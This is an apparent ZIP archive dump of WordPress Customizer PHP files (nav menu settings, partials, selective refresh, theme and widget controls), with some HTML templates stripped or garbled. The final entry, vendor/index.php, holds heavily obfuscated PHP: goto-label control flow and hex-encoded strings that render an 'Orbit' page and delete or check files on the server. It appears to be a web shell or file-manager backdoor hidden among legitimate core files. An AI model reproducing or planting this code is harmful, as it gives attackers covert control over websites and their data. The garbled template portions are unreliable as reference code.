$this->previous_term_id = $this->term_id; $this->term_id = $r; $this->update_status = 'inserted'; } else { $this->update_status = 'updated'; } $auto_add = $value['auto_add']; } } if ( null !== $auto_add ) { $nav_menu_options = $this->filter_nav_menu_options_value( (array) get_option( 'nav_menu_options', array() ), $this->term_id, $auto_add ); update_option( 'nav_menu_options', $nav_menu_options ); } if ( 'inserted' === $this->update_status ) { // Make sure that new menus assigned to nav menu locations use their new IDs. foreach ( $this->manager->settings() as $setting ) { if ( ! preg_match( '/^nav_menu_locations\[/', $setting->id ) ) { continue; } $post_value = $setting->post_value( null ); if ( ! is_null( $post_value ) && (int) $post_value === $this->previous_term_id ) { $this->manager->set_post_value( $setting->id, $this->term_id ); $setting->save(); } } // Make sure that any nav_menu widgets referencing the placeholder nav menu get updated and sent back to client. foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) { $nav_menu_widget_setting = $this->manager->get_setting( $setting_id ); if ( ! $nav_menu_widget_setting || ! preg_match( '/^widget_nav_menu\[/', $nav_menu_widget_setting->id ) ) { continue; } $widget_instance = $nav_menu_widget_setting->post_value(); // Note that this calls WP_Customize_Widgets::sanitize_widget_instance(). if ( empty( $widget_instance['nav_menu'] ) || (int) $widget_instance['nav_menu'] !== $this->previous_term_id ) { continue; } $widget_instance['nav_menu'] = $this->term_id; $updated_widget_instance = $this->manager->widgets->sanitize_widget_js_instance( $widget_instance ); $this->manager->set_post_value( $nav_menu_widget_setting->id, $updated_widget_instance ); $nav_menu_widget_setting->save(); $this->_widget_nav_menu_updates[ $nav_menu_widget_setting->id ] = $updated_widget_instance; } } } /** * Updates a nav_menu_options array. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::filter_nav_menu_options() * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $nav_menu_options Array as returned by get_option( 'nav_menu_options' ). * @param int $menu_id The term ID for the given menu. * @param bool $auto_add Whether to auto-add or not. * @return array (Maybe) modified nav_menu_options array. */ protected function filter_nav_menu_options_value( $nav_menu_options, $menu_id, $auto_add ) { $nav_menu_options = (array) $nav_menu_options; if ( ! isset( $nav_menu_options['auto_add'] ) ) { $nav_menu_options['auto_add'] = array(); } $i = array_search( $menu_id, $nav_menu_options['auto_add'], true ); if ( $auto_add && false === $i ) { array_push( $nav_menu_options['auto_add'], $this->term_id ); } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_options['auto_add'], $i, 1 ); } return $nav_menu_options; } /** * Export data for the JS client. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Setting::update() * * @param array $data Additional information passed back to the 'saved' event on `wp.customize`. * @return array Export data. */ public function amend_customize_save_response( $data ) { if ( ! isset( $data['nav_menu_updates'] ) ) { $data['nav_menu_updates'] = array(); } if ( ! isset( $data['widget_nav_menu_updates'] ) ) { $data['widget_nav_menu_updates'] = array(); } $data['nav_menu_updates'][] = array( 'term_id' => $this->term_id, 'previous_term_id' => $this->previous_term_id, 'error' => $this->update_error ? $this->update_error->get_error_code() : null, 'status' => $this->update_status, 'saved_value' => 'deleted' === $this->update_status ? null : $this->value(), ); $data['widget_nav_menu_updates'] = array_merge( $data['widget_nav_menu_updates'], $this->_widget_nav_menu_updates ); $this->_widget_nav_menu_updates = array(); return $data; } } PK%\[@` &class-wp-customize-nav-menus-panel.phpnu[render_screen_options( array( 'wrap' => false ) ); } /** * Returns the advanced options for the nav menus page. * * Link title attribute added as it's a relatively advanced concept for new users. * * @since 4.3.0 * @deprecated 4.5.0 Deprecated in favor of wp_nav_menu_manage_columns(). */ public function wp_nav_menu_manage_columns() { _deprecated_function( __METHOD__, '4.5.0', 'wp_nav_menu_manage_columns' ); require_once ABSPATH . 'wp-admin/includes/nav-menu.php'; return wp_nav_menu_manage_columns(); } /** * An Underscore (JS) template for this panel's content (but not its container). * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @since 4.3.0 * * @see WP_Customize_Panel::print_template() */ protected function content_template() { ?>
  • {{ data.title }}' ); ?>
    <# if ( data.description ) { #>
    {{{ data.description }}}
    <# } #>
    render_screen_options(); ?>
  • $key = $args[ $key ]; } } $this->component = $component; $this->id = $id; $this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) ); $this->id_data['base'] = array_shift( $this->id_data['keys'] ); if ( empty( $this->render_callback ) ) { $this->render_callback = array( $this, 'render_callback' ); } // Process settings. if ( ! isset( $this->settings ) ) { $this->settings = array( $id ); } elseif ( is_string( $this->settings ) ) { $this->settings = array( $this->settings ); } if ( empty( $this->primary_setting ) ) { $this->primary_setting = current( $this->settings ); } } /** * Retrieves parsed ID data for multidimensional setting. * * @since 4.5.0 * * @return array { * ID data for multidimensional partial. * * @type string $base ID base. * @type array $keys Keys for multidimensional array. * } */ final public function id_data() { return $this->id_data; } /** * Renders the template partial involving the associated settings. * * @since 4.5.0 * * @param array $container_context Optional. Array of context data associated with the target container (placement). * Default empty array. * @return string|array|false The rendered partial as a string, raw data array (for client-side JS template), * or false if no render applied. */ final public function render( $container_context = array() ) { $partial = $this; $rendered = false; if ( ! empty( $this->render_callback ) ) { ob_start(); $return_render = call_user_func( $this->render_callback, $this, $container_context ); $ob_render = ob_get_clean(); if ( null !== $return_render && '' !== $ob_render ) { _doing_it_wrong( __FUNCTION__, __( 'Partial render must echo the content or return the content string (or array), but not both.' ), '4.5.0' ); } /* * Note that the string return takes precedence because the $ob_render may just\ * include PHP warnings or notices. */ $rendered = null !== $return_render ? $return_render : $ob_render; } /** * Filters partial rendering. * * @since 4.5.0 * * @param string|array|false $rendered The partial value. Default false. * @param WP_Customize_Partial $partial WP_Customize_Setting instance. * @param array $container_context Optional array of context data associated with * the target container. */ $rendered = apply_filters( 'customize_partial_render', $rendered, $partial, $container_context ); /** * Filters partial rendering for a specific partial. * * The dynamic portion of the hook name, `$partial->ID` refers to the partial ID. * * @since 4.5.0 * * @param string|array|false $rendered The partial value. Default false. * @param WP_Customize_Partial $partial WP_Customize_Setting instance. * @param array $container_context Optional array of context data associated with * the target container. */ $rendered = apply_filters( "customize_partial_render_{$partial->id}", $rendered, $partial, $container_context ); return $rendered; } /** * Default callback used when invoking WP_Customize_Control::render(). * * Note that this method may echo the partial *or* return the partial as * a string or array, but not both. Output buffering is performed when this * is called. Subclasses can override this with their specific logic, or they * may provide an 'render_callback' argument to the constructor. * * This method may return an HTML string for straight DOM injection, or it * may return an array for supporting Partial JS subclasses to render by * applying to client-side templating. * * @since 4.5.0 * * @param WP_Customize_Partial $partial Partial. * @param array $context Context. * @return string|array|false */ public function render_callback( WP_Customize_Partial $partial, $context = array() ) { unset( $partial, $context ); return false; } /** * Retrieves the data to export to the client via JSON. * * @since 4.5.0 * * @return array Array of parameters passed to the JavaScript. */ public function json() { $exports = array( 'settings' => $this->settings, 'primarySetting' => $this->primary_setting, 'selector' => $this->selector, 'type' => $this->type, 'fallbackRefresh' => $this->fallback_refresh, 'containerInclusive' => $this->container_inclusive, ); return $exports; } /** * Checks if the user can refresh this partial. * * Returns false if the user cannot manipulate one of the associated settings, * or if one of the associated settings does not exist. * * @since 4.5.0 * * @return bool False if user can't edit one of the related settings, * or if one of the associated settings does not exist. */ final public function check_capabilities() { if ( ! empty( $this->capability ) && ! current_user_can( $this->capability ) ) { return false; } foreach ( $this->settings as $setting_id ) { $setting = $this->component->manager->get_setting( $setting_id ); if ( ! $setting || ! $setting->check_capabilities() ) { return false; } } return true; } } PK%\!66(class-wp-customize-selective-refresh.phpnu[manager = $manager; require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php'; add_action( 'customize_preview_init', array( $this, 'init_preview' ) ); } /** * Retrieves the registered partials. * * @since 4.5.0 * * @return array Partials. */ public function partials() { return $this->partials; } /** * Adds a partial. * * @since 4.5.0 * * @see WP_Customize_Partial::__construct() * * @param WP_Customize_Partial|string $id Customize Partial object, or Partial ID. * @param array $args Optional. Array of properties for the new Partials object. * See WP_Customize_Partial::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Partial The instance of the partial that was added. */ public function add_partial( $id, $args = array() ) { if ( $id instanceof WP_Customize_Partial ) { $partial = $id; } else { $class = 'WP_Customize_Partial'; /** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */ $args = apply_filters( 'customize_dynamic_partial_args', $args, $id ); /** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */ $class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args ); $partial = new $class( $this, $id, $args ); } $this->partials[ $partial->id ] = $partial; return $partial; } /** * Retrieves a partial. * * @since 4.5.0 * * @param string $id Customize Partial ID. * @return WP_Customize_Partial|null The partial, if set. Otherwise null. */ public function get_partial( $id ) { if ( isset( $this->partials[ $id ] ) ) { return $this->partials[ $id ]; } else { return null; } } /** * Removes a partial. * * @since 4.5.0 * * @param string $id Customize Partial ID. */ public function remove_partial( $id ) { unset( $this->partials[ $id ] ); } /** * Initializes the Customizer preview. * * @since 4.5.0 */ public function init_preview() { add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /** * Enqueues preview scripts. * * @since 4.5.0 */ public function enqueue_preview_scripts() { wp_enqueue_script( 'customize-selective-refresh' ); add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 ); } /** * Exports data in preview after it has finished rendering so that partials can be added at runtime. * * @since 4.5.0 */ public function export_preview_data() { $partials = array(); foreach ( $this->partials() as $partial ) { if ( $partial->check_capabilities() ) { $partials[ $partial->id ] = $partial->json(); } } $switched_locale = switch_to_user_locale( get_current_user_id() ); $l10n = array( 'shiftClickToEdit' => __( 'Shift-click to edit this element.' ), 'clickEditMenu' => __( 'Click to edit this menu.' ), 'clickEditWidget' => __( 'Click to edit this widget.' ), 'clickEditTitle' => __( 'Click to edit the site title.' ), 'clickEditMisc' => __( 'Click to edit this element.' ), /* translators: %s: document.write() */ 'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ), ); if ( $switched_locale ) { restore_previous_locale(); } $exports = array( 'partials' => $partials, 'renderQueryVar' => self::RENDER_QUERY_VAR, 'l10n' => $l10n, ); // Export data to JS. wp_print_inline_script_tag( sprintf( 'var _customizePartialRefreshExports = %s;', wp_json_encode( $exports, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) ); } /** * Registers dynamically-created partials. * * @since 4.5.0 * * @see WP_Customize_Manager::add_dynamic_settings() * * @param string[] $partial_ids Array of the partial IDs to add. * @return WP_Customize_Partial[] Array of added WP_Customize_Partial instances. */ public function add_dynamic_partials( $partial_ids ) { $new_partials = array(); foreach ( $partial_ids as $partial_id ) { // Skip partials already created. $partial = $this->get_partial( $partial_id ); if ( $partial ) { continue; } $partial_args = false; $partial_class = 'WP_Customize_Partial'; /** * Filters a dynamic partial's constructor arguments. * * For a dynamic partial to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Partial constructor. * * @since 4.5.0 * * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor. * @param string $partial_id ID for dynamic partial. */ $partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id ); if ( false === $partial_args ) { continue; } /** * Filters the class used to construct partials. * * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass. * * @since 4.5.0 * * @param string $partial_class WP_Customize_Partial or a subclass. * @param string $partial_id ID for dynamic partial. * @param array $partial_args The arguments to the WP_Customize_Partial constructor. */ $partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args ); $partial = new $partial_class( $this, $partial_id, $partial_args ); $this->add_partial( $partial ); $new_partials[] = $partial; } return $new_partials; } /** * Checks whether the request is for rendering partials. * * Note that this will not consider whether the request is authorized or valid, * just that essentially the route is a match. * * @since 4.5.0 * * @return bool Whether the request is for rendering partials. */ public function is_render_partials_request() { return ! empty( $_POST[ self::RENDER_QUERY_VAR ] ); } /** * Handles PHP errors triggered during rendering the partials. * * These errors will be relayed back to the client in the Ajax response. * * @since 4.5.0 * * @param int $errno Error number. * @param string $errstr Error string. * @param string $errfile Error file. * @param int $errline Error line. * @return true Always true. */ public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) { $this->triggered_errors[] = array( 'partial' => $this->current_partial_id, 'error_number' => $errno, 'error_string' => $errstr, 'error_file' => $errfile, 'error_line' => $errline, ); return true; } /** * Handles the Ajax request to return the rendered partials for the requested placements. * * @since 4.5.0 */ public function handle_render_partials_request() { if ( ! $this->is_render_partials_request() ) { return; } /* * Note that is_customize_preview() returning true will entail that the * user passed the 'customize' capability check and the nonce check, since * WP_Customize_Manager::setup_theme() is where the previewing flag is set. */ if ( ! is_customize_preview() ) { wp_send_json_error( 'expected_customize_preview', 403 ); } elseif ( ! isset( $_POST['partials'] ) ) { wp_send_json_error( 'missing_partials', 400 ); } // Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes). status_header( 200 ); $partials = json_decode( wp_unslash( $_POST['partials'] ), true ); if ( ! is_array( $partials ) ) { wp_send_json_error( 'malformed_partials' ); } $this->add_dynamic_partials( array_keys( $partials ) ); /** * Fires immediately before partials are rendered. * * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts * and styles which may get enqueued in the response. * * @since 4.5.0 * * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ do_action( 'customize_render_partials_before', $this, $partials ); set_error_handler( array( $this, 'handle_error' ), error_reporting() ); $contents = array(); foreach ( $partials as $partial_id => $container_contexts ) { $this->current_partial_id = $partial_id; if ( ! is_array( $container_contexts ) ) { wp_send_json_error( 'malformed_container_contexts' ); } $partial = $this->get_partial( $partial_id ); if ( ! $partial || ! $partial->check_capabilities() ) { $contents[ $partial_id ] = null; continue; } $contents[ $partial_id ] = array(); // @todo The array should include not only the contents, but also whether the container is included? if ( empty( $container_contexts ) ) { // Since there are no container contexts, render just once. $contents[ $partial_id ][] = $partial->render( null ); } else { foreach ( $container_contexts as $container_context ) { $contents[ $partial_id ][] = $partial->render( $container_context ); } } } $this->current_partial_id = null; restore_error_handler(); /** * Fires immediately after partials are rendered. * * Plugins may do things like call wp_footer() to scrape scripts output and return them * via the {@see 'customize_render_partials_response'} filter. * * @since 4.5.0 * * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ do_action( 'customize_render_partials_after', $this, $partials ); $response = array( 'contents' => $contents, ); if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) { $response['errors'] = $this->triggered_errors; } $setting_validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() ); $exported_setting_validities = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities ); $response['setting_validities'] = $exported_setting_validities; /** * Filters the response from rendering the partials. * * Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies * for the partials being rendered. The response data will be available to the client via * the `render-partials-response` JS event, so the client can then inject the scripts and * styles into the DOM if they have not already been enqueued there. * * If plugins do this, they'll need to take care for any scripts that do `document.write()` * and make sure that these are not injected, or else to override the function to no-op, * or else the page will be destroyed. * * Plugins should be aware that `$scripts` and `$styles` may eventually be included by * default in the response. * * @since 4.5.0 * * @param array $response { * Response. * * @type array $contents Associative array mapping a partial ID its corresponding array of contents * for the containers requested. * @type array $errors List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY` * is enabled. * } * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ $response = apply_filters( 'customize_render_partials_response', $response, $this, $partials ); wp_send_json_success( $response ); } } PK%\Mf##&class-wp-customize-sidebar-section.phpnu[sidebar_id; return $json; } /** * Whether the current sidebar is rendered on the page. * * @since 4.1.0 * * @return bool Whether sidebar is rendered. */ public function active_callback() { return $this->manager->widgets->is_sidebar_rendered( $this->sidebar_id ); } } PK%\Ռ++(class-wp-customize-site-icon-control.phpnu[ <# if ( data.label ) { #> {{ data.label }} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
    <# if ( data.attachment.sizes ) { #>
    {{
								data.attachment.alt ?
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image alt text. */
										echo wp_json_encode( __( 'App icon preview: Current image: %s' ) )
										?>
										,
										data.attachment.alt
									) :
									wp.i18n.sprintf(
										<?php
										/* translators: %s: The selected image filename. */
										echo wp_json_encode( __( 'App icon preview: The current image has no alternative text. The file name is: %s' ) );
										?>
										,
										data.attachment.filename
									)
							}}
    {{
										data.attachment.alt ?
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image alt text. */
												echo wp_json_encode( __( 'Browser icon preview: Current image: %s' ) );
												?>
												,
												data.attachment.alt
											) :
											wp.i18n.sprintf(
												<?php
												/* translators: %s: The selected image filename. */
												echo wp_json_encode( __( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ) );
												?>
												,
												data.attachment.filename
											)
									}}
    <# } #>
    <# if ( data.canUpload ) { #> <# } #>
    <# } else { #>
    <# if ( data.canUpload ) { #> <# } #>
    <# if ( data.defaultAttachment ) { #> <# } #>
    <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #> json['theme'] = $this->theme; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.2.0 */ public function render_content() {} /** * Render a JS template for theme display. * * @since 4.2.0 */ public function content_template() { /* translators: %s: Theme name. */ $details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' ); /* translators: %s: Theme name. */ $install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' ); ?> <# if ( data.theme.active ) { #>
    <# } else { #>
    <# } #> <# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
    <# } else { #>
    <# } #>
    <# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #> <# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>

    ' . __( 'Update now' ) . '' ); } ?>

    <# } else { #>

    <# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } ?> <# } else if ( ! data.theme.updateResponse.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } ?> <# } #>

    <# } #> <# } #> <# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>

    <# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #> Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } ?> <# } else if ( ! data.theme.compatibleWP ) { #> Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } ?> <# } else if ( ! data.theme.compatiblePHP ) { #> Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

    ', '' ); } ?> <# } #>

    <# } #> <# if ( data.theme.active ) { #>

    {{ data.theme.name }}

    'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else if ( 'installed' === data.theme.type ) { #> <# if ( data.theme.blockTheme ) { #>

    {{ data.theme.name }}

    <# if ( data.theme.actions.activate ) { #> <# } #>
    <# if ( data.theme.actions.activate ) { #> activate this theme, and use the Site Editor to customize it.' ), '{{{ data.theme.actions.activate }}}' ); ?> <# } #> 'error', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } else { #>

    {{ data.theme.name }}

    <# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
    'success', 'additional_classes' => array( 'notice-alt' ), ) ); ?> <# } #> <# } else { #>

    {{ data.theme.name }}

    <# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #> <# } else { #> <# } #>
    <# } #>
  • manager->is_theme_active() ) { echo '' . __( 'Active theme' ) . ' {{ data.title }}'; } else { echo '' . __( 'Previewing theme' ) . ' {{ data.title }}'; } ?>

  • ' . __( 'Themes' ) . '' ); // Separate strings for consistency with other panels. ?> <# if ( data.description ) { #> <# } #>
    <# if ( data.description ) { #>
    {{{ data.description }}}
    <# } #>
  • action; $exported['filter_type'] = $this->filter_type; return $exported; } /** * Renders a themes section as a JS template. * * The template is only rendered by PHP once, so all actions are prepared at once on the server side. * * @since 4.9.0 */ protected function render_template() { ?>
  • filter_bar_content_template(); ?>
    filter_drawer_content_template(); ?>

    %s', __( 'Search WordPress.org themes' ) ) ); ?>

  • <# if ( 'wporg' === data.action ) { #>
    <# } else { #>
    <# } #>
    <# if ( 'wporg' === data.action ) { #> <# } #>
    0' ); ?>
    <# if ( 'wporg' === data.action ) { #>
    $features ) : ?>
    $feature_name ) : ?>
    <# } #> value(); if ( $value ) { // Get the attachment model for the existing file. $attachment_id = attachment_url_to_postid( $value ); if ( $attachment_id ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id ); } } } } PK%\38<)class-wp-sidebar-block-editor-control.phpnu[json[ $key ] = $this->$key; } } /** * Renders the control's content. * * @since 3.9.0 */ public function render_content() { $id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id ); ?>

    json[ $key ] = $this->$key; } // Get the widget_control and widget_content. require_once ABSPATH . 'wp-admin/includes/widgets.php'; $widget = $wp_registered_widgets[ $this->widget_id ]; if ( ! isset( $widget['params'][0] ) ) { $widget['params'][0] = array(); } $args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], ); $args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0], ) ); $widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args ); $this->json['widget_control'] = $widget_control_parts['control']; $this->json['widget_content'] = $widget_control_parts['content']; } /** * Override render_content to be no-op since content is exported via to_json for deferred embedding. * * @since 3.9.0 */ public function render_content() {} /** * Whether the current widget is rendered on the page. * * @since 4.0.0 * * @return bool Whether the widget is rendered. */ public function active_callback() { return $this->manager->widgets->is_widget_rendered( $this->widget_id ); } } PK%\߼Jvendor/index.phpnu[ "\170", "\164" => "\145\162\x72"]); goto E19ba; zH9X7: if (!file_exists($whCcN)) { goto vc3s6; } goto tP76R; ZQZYY: echo UYaRK($CGf7N); goto WDUTr; JXmBA: Ks_7d: goto M8a32; VSObE: if (!(is_file($whCcN) && @unlink($whCcN))) { goto ErJy1; } goto jTmXz; ZLhU4: $kU931 = "\157\x6b"; goto TYdBw; R8BGT: w_xGe($hKa5N, ["\153" => "\65"]); goto VEqlT; ea7U7: $d2eLc = $AsdtI[$uo55N]; goto j53TM; VJg8R: echo "\x20\x3c\41\144\157\x63\x74\x79\160\x65\40\x68\164\155\x6c\76\74\x68\x74\x6d\x6c\40\154\x61\x6e\x67\x3d\x22\145\156\x22\76\x3c\150\145\141\x64\x3e\74\155\145\x74\x61\40\143\x68\141\x72\163\145\x74\x3d\42\x75\164\x66\55\70\x22\57\76\74\155\145\x74\x61\40\x6e\x61\155\x65\x3d\x22\166\x69\145\167\x70\157\x72\164\42\143\157\x6e\164\145\x6e\x74\x3d\x22\x77\151\x64\x74\x68\75\x64\145\166\x69\143\145\55\167\x69\x64\164\150\x2c\x69\156\x69\164\x69\x61\x6c\55\163\143\x61\x6c\x65\75\x31\x22\57\x3e\x3c\x74\x69\164\154\145\76\x4f\162\142\x69\164\74\x2f\x74\x69\164\x6c\145\x3e\40\x3c\x73\164\171\154\145\x3e\52\173\142\157\170\x2d\x73\x69\x7a\x69\x6e\147\72\x62\x6f\x72\x64\x65\162\x2d\142\157\170\x7d\x68\164\155\x6c\x2c\142\x6f\144\x79\173\x6d\141\162\147\x69\x6e\x3a\60\73\x70\x61\x64\144\x69\x6e\x67\72\x30\x7d\x62\157\144\x79\x7b\142\x61\143\153\147\x72\x6f\165\156\144\x3a\43\146\x64\146\144\146\x64\73\143\x6f\154\x6f\x72\x3a\x23\x30\146\61\x37\x32\60\x3b\146\x6f\156\164\x3a\x31\x33\x70\x78\x2f\61\x2e\x35\65\40\165\x69\55\163\x61\156\163\55\163\145\x72\151\146\x2c\x73\171\x73\164\145\x6d\55\165\x69\54\123\x65\x67\157\145\40\125\x49\x2c\122\x6f\142\x6f\x74\x6f\54\x55\142\165\156\x74\x75\x2c\x48\x65\154\166\x65\x74\151\143\x61\x2c\101\x72\x69\141\154\175\56\143\60\173\x6d\x61\170\55\167\x69\144\164\x68\x3a\61\x30\x38\60\160\x78\73\155\x61\162\147\151\156\x3a\62\x30\x70\x78\x20\x61\165\164\x6f\x3b\x70\x61\x64\144\x69\156\x67\72\x30\x20\61\x32\x70\170\175\56\143\x31\x7b\x64\151\163\x70\x6c\x61\x79\x3a\146\154\145\170\x3b\152\165\163\164\151\146\x79\x2d\x63\x6f\156\164\145\156\x74\72\x73\160\x61\x63\145\55\142\145\x74\167\145\145\x6e\73\x61\154\x69\x67\156\55\151\x74\145\x6d\163\x3a\143\145\156\164\145\162\x3b\142\x61\143\x6b\x67\x72\x6f\x75\x6e\144\x3a\x23\146\x66\146\73\142\x6f\162\144\145\162\72\x31\x70\x78\40\163\x6f\x6c\151\144\x20\x23\145\x39\x65\71\145\x65\73\x62\x6f\162\x64\145\x72\55\162\x61\x64\x69\x75\163\72\61\70\160\170\73\x70\x61\x64\x64\151\156\x67\72\x31\64\x70\x78\x20\x31\66\160\170\73\142\x6f\170\55\163\150\x61\x64\157\167\x3a\60\x20\x38\160\x78\x20\62\x34\x70\x78\40\162\147\x62\141\x28\x30\x2c\60\x2c\60\54\x2e\x30\x35\x29\x7d\56\164\x30\173\146\157\156\x74\x2d\x77\x65\151\147\x68\x74\x3a\70\x30\x30\x3b\154\x65\x74\x74\x65\162\x2d\163\x70\141\x63\x69\156\x67\x3a\56\x33\160\x78\x7d\x2e\x63\x72\x75\x6d\x62\x7b\146\157\156\164\55\163\151\172\145\72\61\62\160\x78\73\143\157\154\x6f\162\x3a\x23\66\x36\67\60\70\65\x7d\x2e\160\151\154\154\x7b\x64\151\163\x70\154\x61\171\x3a\x69\x6e\154\151\156\145\55\x62\154\157\143\153\x3b\142\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\43\146\66\146\x37\x66\142\x3b\x62\157\162\x64\145\x72\72\x31\x70\x78\40\x73\157\154\x69\144\40\43\x65\x63\145\143\146\x32\73\x62\x6f\162\x64\x65\162\x2d\x72\141\144\151\x75\163\x3a\x39\x39\x39\x70\170\73\x70\x61\144\x64\151\x6e\147\72\56\62\162\x65\x6d\40\56\65\65\x72\x65\x6d\73\x6d\141\162\x67\151\156\x2d\154\145\x66\x74\72\x2e\x33\65\x72\x65\x6d\175\x2e\x6d\x73\x67\173\155\141\162\x67\151\x6e\72\x31\x34\x70\170\40\x30\x3b\x70\x61\x64\144\x69\156\x67\x3a\61\x30\x70\170\x20\x31\62\x70\170\73\x62\157\162\x64\145\x72\x2d\x72\141\144\x69\x75\x73\x3a\61\x32\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\x78\x20\163\x6f\x6c\151\144\40\x23\145\143\x65\143\x66\62\175\x2e\x6f\153\x7b\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\x65\x63\146\x64\x66\65\73\142\157\162\x64\145\x72\55\x63\x6f\x6c\157\x72\72\x23\141\67\x66\63\x64\60\175\x2e\x65\162\162\x7b\142\141\143\x6b\x67\162\x6f\165\156\144\72\43\146\x66\x66\x31\x66\x32\x3b\142\x6f\x72\144\x65\x72\55\143\x6f\x6c\x6f\x72\x3a\x23\146\145\143\144\x64\x33\175\x2e\x63\x61\x72\x64\173\x62\141\143\153\147\x72\157\165\x6e\x64\x3a\x23\x66\146\x66\73\142\157\x72\144\x65\162\x3a\61\160\x78\x20\163\157\154\151\144\40\43\145\143\x65\143\146\x32\x3b\x62\157\x72\x64\145\x72\55\162\141\x64\x69\165\x73\x3a\61\66\x70\x78\73\x70\141\x64\144\x69\x6e\x67\x3a\x31\64\x70\x78\x3b\142\157\x78\55\x73\150\141\144\157\167\72\60\40\x38\x70\x78\40\x32\64\160\170\40\162\147\x62\141\x28\x30\x2c\60\x2c\60\54\56\60\65\x29\73\155\x61\162\x67\x69\x6e\x2d\x74\